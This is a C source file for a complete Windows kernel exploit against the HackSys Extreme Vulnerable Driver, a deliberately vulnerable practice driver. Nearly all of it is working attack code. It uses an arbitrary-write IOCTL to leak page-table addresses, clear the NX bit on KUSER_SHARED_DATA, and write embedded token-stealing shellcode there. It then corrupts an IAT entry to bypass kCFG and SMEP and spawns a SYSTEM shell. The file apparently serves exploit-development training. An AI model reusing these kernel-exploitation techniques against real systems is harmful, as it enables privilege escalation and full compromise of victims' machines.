-
Notifications
You must be signed in to change notification settings - Fork 45
/
kCFG_Bypass.c
599 lines (485 loc) · 15.1 KB
/
kCFG_Bypass.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
// HackSys Extreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite & SMEP Enabled/kCFG enabled)
// Author: Connor McGarr
// Compilation on Windows via gcc: gcc kCFG_Bypass.c -o exploit.exe -lpsapi
#include <stdio.h>
#include <Windows.h>
#include <Psapi.h>
#define IOCTL_CODE 0x0022200B
// Defining KUSER_SHARED_DATA+0x800 as a global variable
unsigned long long KUSER_SHARED_DATA = 0xFFFFF78000000800;
unsigned long long KUSER_SHARED_DATA_8 = 0xFFFFF78000000808;
unsigned long long KUSER_SHARED_DATA_10 = 0xFFFFF78000000810;
unsigned long long KUSER_SHARED_DATA_18 = 0xFFFFF78000000818;
unsigned long long KUSER_SHARED_DATA_20 = 0xFFFFF78000000820;
unsigned long long KUSER_SHARED_DATA_28 = 0xFFFFF78000000828;
unsigned long long KUSER_SHARED_DATA_30 = 0xFFFFF78000000830;
unsigned long long KUSER_SHARED_DATA_38 = 0xFFFFF78000000838;
unsigned long long KUSER_SHARED_DATA_40 = 0xFFFFF78000000840;
unsigned long long kernelBase(char name[])
{
// Defining EnumDeviceDrivers() and GetDeviceDriverBaseNameA() parameters
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
int drivers;
char lpFileName[1024];
unsigned long long imageBase;
BOOL baseofDrivers = EnumDeviceDrivers(
lpImageBase,
sizeof(lpImageBase),
&lpcbNeeded
);
// Error handling
if (!baseofDrivers)
{
printf("[-] Error! Unable to invoke EnumDeviceDrivers(). Error: %d\n", GetLastError());
exit(1);
}
// Defining number of drivers for GetDeviceDriverBaseNameA()
drivers = lpcbNeeded / sizeof(lpImageBase[0]);
// Parsing loaded drivers
for (int i = 0; i < drivers; i++)
{
GetDeviceDriverBaseNameA(
lpImageBase[i],
lpFileName,
sizeof(lpFileName) / sizeof(char)
);
// Keep looping, until found, to find user supplied driver base address
if (!strcmp(name, lpFileName))
{
imageBase = (unsigned long long)lpImageBase[i];
// Exit loop
break;
}
}
return imageBase;
}
void exploitWork(void)
{
/*
[BITS 64]
_start:
mov rax, [gs:0x188] ; Current thread (_KTHREAD)
mov rax, [rax + 0xb8] ; Current process (_EPROCESS)
mov rbx, rax ; Copy current process (_EPROCESS) to rbx
__loop:
mov rbx, [rbx + 0x2f0] ; ActiveProcessLinks
sub rbx, 0x2f0 ; Go back to current process (_EPROCESS)
mov rcx, [rbx + 0x2e8] ; UniqueProcessId (PID)
cmp rcx, 4 ; Compare PID to SYSTEM PID
jnz __loop ; Loop until SYSTEM PID is found
mov rcx, [rbx + 0x360] ; SYSTEM token is @ offset _EPROCESS + 0x358
and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
mov [rax + 0x360], rcx ; Copy SYSTEM token to current process
xor rax, rax ; STATUS_SUCCESS
ret ; Done!
*/
// One QWORD arbitrary write
// Shellcode is 67 bytes (67/8 = 9 unsigned long longs)
unsigned long long shellcode1 = 0x00018825048B4865;
unsigned long long shellcode2 = 0x000000B8808B4800;
unsigned long long shellcode3 = 0x02F09B8B48C38948;
unsigned long long shellcode4 = 0x0002F0EB81480000;
unsigned long long shellcode5 = 0x000002E88B8B4800;
unsigned long long shellcode6 = 0x8B48E57504F98348;
unsigned long long shellcode7 = 0xF0E180000003608B;
unsigned long long shellcode8 = 0x4800000360888948;
unsigned long long shellcode9 = 0x0000000000C3C031;
// Creating pointers for each shellcode QWORD
PULONGLONG shellcode1Pointer = &shellcode1;
PULONGLONG shellcode2Pointer = &shellcode2;
PULONGLONG shellcode3Pointer = &shellcode3;
PULONGLONG shellcode4Pointer = &shellcode4;
PULONGLONG shellcode5Pointer = &shellcode5;
PULONGLONG shellcode6Pointer = &shellcode6;
PULONGLONG shellcode7Pointer = &shellcode7;
PULONGLONG shellcode8Pointer = &shellcode8;
PULONGLONG shellcode9Pointer = &shellcode9;
// Return value of kernelbase() for HEVD.sys
unsigned long long hevdBase = kernelBase("HEVD.sys");
// Return value of kernelBase for ntoskrnl.exe
unsigned long long baseAddress = kernelBase("ntoskrnl.exe");
// Print update for driver and kernel base
printf("[+] HEVD.sys base address is located at: 0x%llx\n", hevdBase);
printf("[+] ntoskrnl.exe base address is located at: 0x%llx\n", baseAddress);
// Defining nt!MiGetPteAddress+0x13 and print update for location of nt!MiGetPteAddress
unsigned long long ntmigetpteAddress = baseAddress+0x812bb;
printf("[+] nt!MiGetPteAddress+0x13 is located at: 0x%llx\n", ntmigetpteAddress);
// Defining pointer to write base of PTEs to (must initialize pointer, hence placeholder)
unsigned long long placeholder = 0;
PULONGLONG baseofPtes = &placeholder;
// Defining buffer to send to driver
char buf [0x10];
size_t oneQword = 0x8;
// Initializing buffer to junk to satisfy type error of memset
memset(buf, 0x41, 0x10);
// Actual buffer for extracting the PTE base
memcpy(buf, &ntmigetpteAddress, oneQword);
memcpy(&buf[0x8], &baseofPtes, oneQword);
// Obtaining handle to the driver
printf("[+] Obtaining handle to the driver via CreateFileA()...\n");
HANDLE drvHandle = CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver",
0xC0000000,
0x0,
NULL,
0x3,
0x0,
NULL
);
// Error handling
if (!drvHandle)
{
printf("[-] Error! Unable to obtain a handle to the driver. Error: %d\n", GetLastError());
exit(1);
}
// Print update for HANDLE
printf("[+] Handle to the driver: %d\n", drvHandle);
// Sending buffer to the driver
// Defining lpBytesReturned parameter
DWORD lpBytesReturned;
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf,
sizeof(buf),
NULL,
0,
&lpBytesReturned,
NULL
);
// Print update for extracting base of the PTEs
printf("[+] Extracting the base of the PTEs...\n");
// Defining variable to place base of PTEs
unsigned long long pteBase = (unsigned long long)*baseofPtes;
// Print update for base of the PTEs
printf("[+] Base of the page table entries: 0x%llx\n", pteBase);
// Bitwise operations to locate PTE of shellcode page
unsigned long long kusershareddataPte = (unsigned long long)KUSER_SHARED_DATA >> 9;
kusershareddataPte = kusershareddataPte & 0x7FFFFFFFF8;
kusershareddataPte = kusershareddataPte + pteBase;
// Print update for shellcode's PTE page
printf("[+] KUSER_SHARED_DATA+0x800 PTE is located at: 0x%llx\n", kusershareddataPte);
// Defining pointer to extract shellcode's PTE control bits (must initialize pointer, hence placeholder)
placeholder = 0;
PULONGLONG ptecontrolbitsPointer = &placeholder;
// Defining buffer to send to driver
char buf1 [0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf1, 0x41, 0x10);
// Actual buffer for extracting PTE control bits
memcpy(buf1, &kusershareddataPte, oneQword);
memcpy(&buf1[0x8], &ptecontrolbitsPointer, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf1,
sizeof(buf1),
NULL,
0,
&lpBytesReturned,
NULL
);
unsigned long long ptecontrolBits = (unsigned long long)*ptecontrolbitsPointer;
// Print update for PTE control bits
printf("[+] PTE control bits for KUSER_SHARED_DATA+0x800: %p\n", ptecontrolBits);
// Corrupting X bit in PTE to make KUSER_SHARED_DATA executable
unsigned long long taintedPte;
taintedPte = ptecontrolBits & 0x0FFFFFFFFFFFFFFF;
// Defining pointer for corrupted PTE bits
PULONGLONG taintedptePointer = &taintedPte;
// Defining buffer to send to driver
char buf2[0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf2, 0x41, 0x10);
// Actual buffer for corrupting PTE
memcpy(buf2, &taintedptePointer, oneQword);
memcpy(&buf2[0x8], &kusershareddataPte, oneQword);
// Print update for corrupting PTE
printf("[+] Corrupting PTE of KUSER_SHARED_DATA+0x800 to clear NX bit...\n");
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf2,
sizeof(buf2),
NULL,
0,
&lpBytesReturned,
NULL
);
// Print update for corrupted PTE
printf("[+] KUSER_SHARED_DATA+0x800 is now kRWX! Sorry, SMEP and kernel mode NX!\n");
// Defining buffer to send to driver
char buf3 [0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf3, 0x41, 0x10);
// Actual buffer for overwriting KUSER_SHARED_DATA+0x800
memcpy(buf3, &shellcode1Pointer, oneQword);
memcpy(&buf3[0x8], &KUSER_SHARED_DATA, oneQword);
// Print update for KUSER_SHARED_DATA+0x800 overwrite
printf("[+] Overwriting KUSER_SHARED_DATA+0x800 with shellcode...\n");
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf3,
sizeof(buf3),
NULL,
0,
&lpBytesReturned,
NULL
);
// Defining buffer to send to driver
char buf4 [0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf4, 0x41, 0x10);
// Actual buffer for overwriting KUSER_SHARED_DATA+0x808
memcpy(buf4, &shellcode2Pointer, oneQword);
memcpy(&buf4[0x8], &KUSER_SHARED_DATA_8, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf4,
sizeof(buf4),
NULL,
0,
&lpBytesReturned,
NULL
);
// Defining buffer to send to driver
char buf5 [0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf5, 0x41, 0x10);
// Actual buffer for overwriting KUSER_SHARED_DATA+0x810
memcpy(buf5, &shellcode3Pointer, oneQword);
memcpy(&buf5[0x8], &KUSER_SHARED_DATA_10, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf5,
sizeof(buf5),
NULL,
0,
&lpBytesReturned,
NULL
);
// Defining buffer to send to driver
char buf6 [0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf6, 0x41, 0x10);
// Actual buffer for overwriting KUSER_SHARED_DATA+0x818
memcpy(buf6, &shellcode4Pointer, oneQword);
memcpy(&buf6[0x8], &KUSER_SHARED_DATA_18, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf6,
sizeof(buf6),
NULL,
0,
&lpBytesReturned,
NULL
);
// Defining buffer to send to driver
char buf7 [0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf7, 0x41, 0x10);
// Actual buffer for overwriting KUSER_SHARED_DATA+0x820
memcpy(buf7, &shellcode5Pointer, oneQword);
memcpy(&buf7[0x8], &KUSER_SHARED_DATA_20, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf7,
sizeof(buf7),
NULL,
0,
&lpBytesReturned,
NULL
);
// Defining buffer to send to driver
char buf8 [0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf8, 0x41, 0x10);
// Actual buffer for overwriting KUSER_SHARED_DATA+0x828
memcpy(buf8, &shellcode6Pointer, oneQword);
memcpy(&buf8[0x8], &KUSER_SHARED_DATA_28, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf8,
sizeof(buf8),
NULL,
0,
&lpBytesReturned,
NULL
);
// Defining buffer to send to driver
char buf9 [0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf9, 0x41, 0x10);
// Actual buffer for overwriting KUSER_SHARED_DATA+0x830
memcpy(buf9, &shellcode7Pointer, oneQword);
memcpy(&buf9[0x8], &KUSER_SHARED_DATA_30, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf9,
sizeof(buf9),
NULL,
0,
&lpBytesReturned,
NULL
);
// Defining buffer to send to driver
char buf10 [0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf10, 0x41, 0x10);
// Actual buffer for overwriting KUSER_SHARED_DATA+0x838
memcpy(buf10, &shellcode8Pointer, oneQword);
memcpy(&buf10[0x8], &KUSER_SHARED_DATA_38, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf10,
sizeof(buf10),
NULL,
0,
&lpBytesReturned,
NULL
);
// Defining buffer to send to driver
char buf11 [0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf11, 0x41, 0x10);
// Actual buffer for overwriting KUSER_SHARED_DATA+0x840
memcpy(buf11, &shellcode9Pointer, oneQword);
memcpy(&buf11[0x8], &KUSER_SHARED_DATA_40, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf11,
sizeof(buf11),
NULL,
0,
&lpBytesReturned,
NULL
);
// IAT entries are not checked by kCFG
// HEVD+0x2010 is an IAT entry that points to nt!ExAllocatePoolWithTag
// Making the IAT entry writeable
unsigned long long hevdIat = hevdBase + 0x2010;
unsigned long long hevdiatPte = hevdIat >> 9;
hevdiatPte = hevdiatPte & 0x7FFFFFFFF8;
hevdiatPte = hevdiatPte + pteBase;
// Print update for location of IAT entry
printf("[+] IAT entry located at: 0x%llx\n", hevdiatPte);
// Defining pointer to write PTE to
placeholder = 0;
PULONGLONG iatptePointer = &placeholder;
// Defining buffer to send to driver
char buf12 [0x12];
// Initializing buffer to junk to satisfy type error of memset
memset(buf12, 0x41, 0x10);
// Actual buffer for extracting PTE of IAT entry
memcpy(buf12, &hevdiatPte, oneQword);
memcpy(&buf12[0x8], &iatptePointer, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf12,
sizeof(buf12),
NULL,
0,
&lpBytesReturned,
NULL
);
// Defining variable to place IAT PTE
unsigned long long iatPte = (unsigned long long)*iatptePointer;
// Print update for IAT PTE control bits
printf("[+] IAT PTE control bits: 0x%p\n", iatPte);
// Making IAT writeable/executable
unsigned long long taintediatPte;
taintediatPte = iatPte & 0x0FFFFFFFFFFFFFFF;
taintediatPte = iatPte + 2;
// Defining pointer for corrupted IAT PTE bits
PULONGLONG taintedpteiatPointer = &taintediatPte;
// Defining buffer to send to driver
char buf13[0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf13, 0x41, 0x10);
// Actual buffer for corrupting IAT PTE control bits
memcpy(buf13, &taintedpteiatPointer, oneQword);
memcpy(&buf13[0x8], &hevdiatPte, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf13,
sizeof(buf13),
NULL,
0,
&lpBytesReturned,
NULL
);
// Print update for corrupting IAT PTE
printf("[+] Corrupted IAT entry! IAT entry pointing to nt!ExAllocatePoolWithTag is now kRWX!\n");
// Defining pointer for KUSER_SHARED_DATA
PULONGLONG KUSER_SHARED_DATA_POINTER = &KUSER_SHARED_DATA;
// Defining buffer to send to driver
char buf14[0x10];
// Initializing buffer to junk to satisfy type error of memset
memset(buf14, 0x41, 0x10);
// Actual buffer for overwriting IAT entry with KUSER_SHARED_DATA
memcpy(buf14, &KUSER_SHARED_DATA_POINTER, oneQword);
memcpy(&buf14[0x8], &hevdIat, oneQword);
// Sending buffer to the driver
DeviceIoControl(
drvHandle,
IOCTL_CODE,
buf14,
sizeof(buf14),
NULL,
0,
&lpBytesReturned,
NULL
);
// Defining dummy buffer to satisfy DeviceIoControl() for invoking IOCTL that calls corrupted IAT
char dummyBuffer [0x8];
memset(dummyBuffer, 0x90, 0x8);
// Print update for invoking IOCTL
printf("[+] Invoking IOCTL to trigger corrupted IAT entry! Sorry, kCFG!\n");
// Invoking IOCTL to call IAT
DeviceIoControl(
drvHandle,
0x00222013,
dummyBuffer,
sizeof(dummyBuffer),
NULL,
0,
&lpBytesReturned,
NULL
);
// Print update for overwriting IAT entry
printf("[+] Successfully overwrote IAT entry with address of KUSER_SHARED_DATA+0x800!\n");
// Print update for NT AUTHORITY\SYSTEM shell
printf("[+] Enjoy the NT AUTHORITY\\SYSTEM shell!\n");
// Spawning an NT AUTHORITY\SYSTEM shell
system("cmd.exe /c cmd.exe /K cd C:\\");
}
int main()
{
exploitWork();
return 0;
}